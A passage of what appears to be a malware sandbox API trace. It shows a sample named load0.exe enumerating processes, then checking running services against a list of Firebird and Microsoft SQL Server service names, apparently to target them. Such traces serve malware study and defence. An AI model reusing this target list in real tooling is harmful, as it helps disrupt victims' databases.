cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.031] lstrlenW (lpString="svchost.exe") returned 11 [0242.031] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.032] lstrlenW (lpString="svchost.exe") returned 11 [0242.032] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.032] lstrlenW (lpString="spoolsv.exe") returned 11 [0242.032] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.033] lstrlenW (lpString="svchost.exe") returned 11 [0242.033] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.034] lstrlenW (lpString="audiodg.exe") returned 11 [0242.034] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0242.035] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0242.035] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0242.036] lstrlenW (lpString="Memory Compression") returned 18 [0242.036] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0242.037] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0242.037] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0242.037] lstrlenW (lpString="taskhostw.exe") returned 13 [0242.037] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0242.038] lstrlenW (lpString="sihost.exe") returned 10 [0242.038] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.039] lstrlenW (lpString="svchost.exe") returned 11 [0242.039] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0242.040] lstrlenW (lpString="taskhostw.exe") returned 13 [0242.040] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0242.041] lstrlenW (lpString="msoia.exe") returned 9 [0242.041] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.041] lstrlenW (lpString="explorer.exe") returned 12 [0242.041] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0242.042] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0242.042] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0242.043] lstrlenW (lpString="SearchUI.exe") returned 12 [0242.043] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0242.044] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0242.044] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.045] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0242.045] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0242.257] lstrlenW (lpString="load0.exe") returned 9 [0242.257] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0242.258] lstrlenW (lpString="cmd.exe") returned 7 [0242.258] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0242.259] lstrlenW (lpString="conhost.exe") returned 11 [0242.259] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0242.260] CloseHandle (hObject=0x1090) returned 1 [0242.260] Sleep (dwMilliseconds=0x1f4) [0242.965] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6e4450 [0242.966] EnumServicesStatusExW (in: hSCManager=0x6e4450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0242.966] GetLastError () returned 0xea [0242.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1bc4) returned 0x3f15820 [0242.966] EnumServicesStatusExW (in: hSCManager=0x6e4450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f15820, cbBufSize=0x1bc4, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f15820, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0242.967] CloseServiceHandle (hSCObject=0x6e4450) returned 1 [0242.967] lstrlenW (lpString="AppXSvc") returned 7 [0242.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0242.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0242.967] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0242.967] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0242.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0242.967] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0242.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0242.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0242.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0242.968] lstrlenW (lpString="Audiosrv") returned 8 [0242.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0242.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0242.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0242.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0242.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0242.968] lstrlenW (lpString="BFE") returned 3 [0242.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0242.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0242.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0242.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0242.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0242.968] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0242.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0242.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0242.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0242.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0242.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0242.968] lstrlenW (lpString="CDPSvc") returned 6 [0242.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0242.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0242.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0242.968] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0242.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0242.968] lstrlenW (lpString="ClickToRunSvc") returned 13 [0242.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0242.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0242.968] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0242.968] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0242.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0242.968] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0242.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0242.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0242.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0242.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0242.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0242.969] lstrlenW (lpString="CryptSvc") returned 8 [0242.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0242.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0242.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0242.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0242.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0242.969] lstrlenW (lpString="DcomLaunch") returned 10 [0242.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0242.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0242.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0242.969] lstrlenW (lpString="DeviceAssociationService") returned 24 [0242.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0242.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0242.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0242.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0242.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0242.969] lstrlenW (lpString="Dhcp") returned 4 [0242.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0242.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0242.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0242.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0242.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0242.970] lstrlenW (lpString="Dnscache") returned 8 [0242.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0242.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0242.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0242.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0242.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0242.970] lstrlenW (lpString="DPS") returned 3 [0242.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0242.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0242.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0242.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0242.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0242.970] lstrlenW (lpString="DusmSvc") returned 7 [0242.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0242.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0242.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0242.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0242.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0242.970] lstrlenW (lpString="EventLog") returned 8 [0242.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0242.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0242.971] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0242.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0242.971] lstrlenW (lpString="EventSystem") returned 11 [0242.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0242.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0242.971] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0242.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0242.971] lstrlenW (lpString="FontCache") returned 9 [0242.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0242.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0242.971] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0242.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0242.971] lstrlenW (lpString="gpsvc") returned 5 [0242.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0242.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0242.972] lstrlenW (lpString="iphlpsvc") returned 8 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0242.972] lstrlenW (lpString="KeyIso") returned 6 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0242.972] lstrlenW (lpString="LanmanServer") returned 12 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0242.972] lstrlenW (lpString="LanmanWorkstation") returned 17 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0242.972] lstrlenW (lpString="lfsvc") returned 5 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0242.973] lstrlenW (lpString="lmhosts") returned 7 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0242.973] lstrlenW (lpString="LSM") returned 3 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0242.973] lstrlenW (lpString="MpsSvc") returned 6 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0242.973] lstrlenW (lpString="NcbService") returned 10 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0242.973] lstrlenW (lpString="netprofm") returned 8 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0242.974] lstrlenW (lpString="NgcSvc") returned 6 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0242.974] lstrlenW (lpString="NlaSvc") returned 6 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0242.974] lstrlenW (lpString="nsi") returned 3 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0242.974] lstrlenW (lpString="PcaSvc") returned 6 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0242.975] lstrlenW (lpString="PlugPlay") returned 8 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0242.975] lstrlenW (lpString="Power") returned 5 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0242.975] lstrlenW (lpString="ProfSvc") returned 7 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0242.975] lstrlenW (lpString="RpcEptMapper") returned 12 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.975] 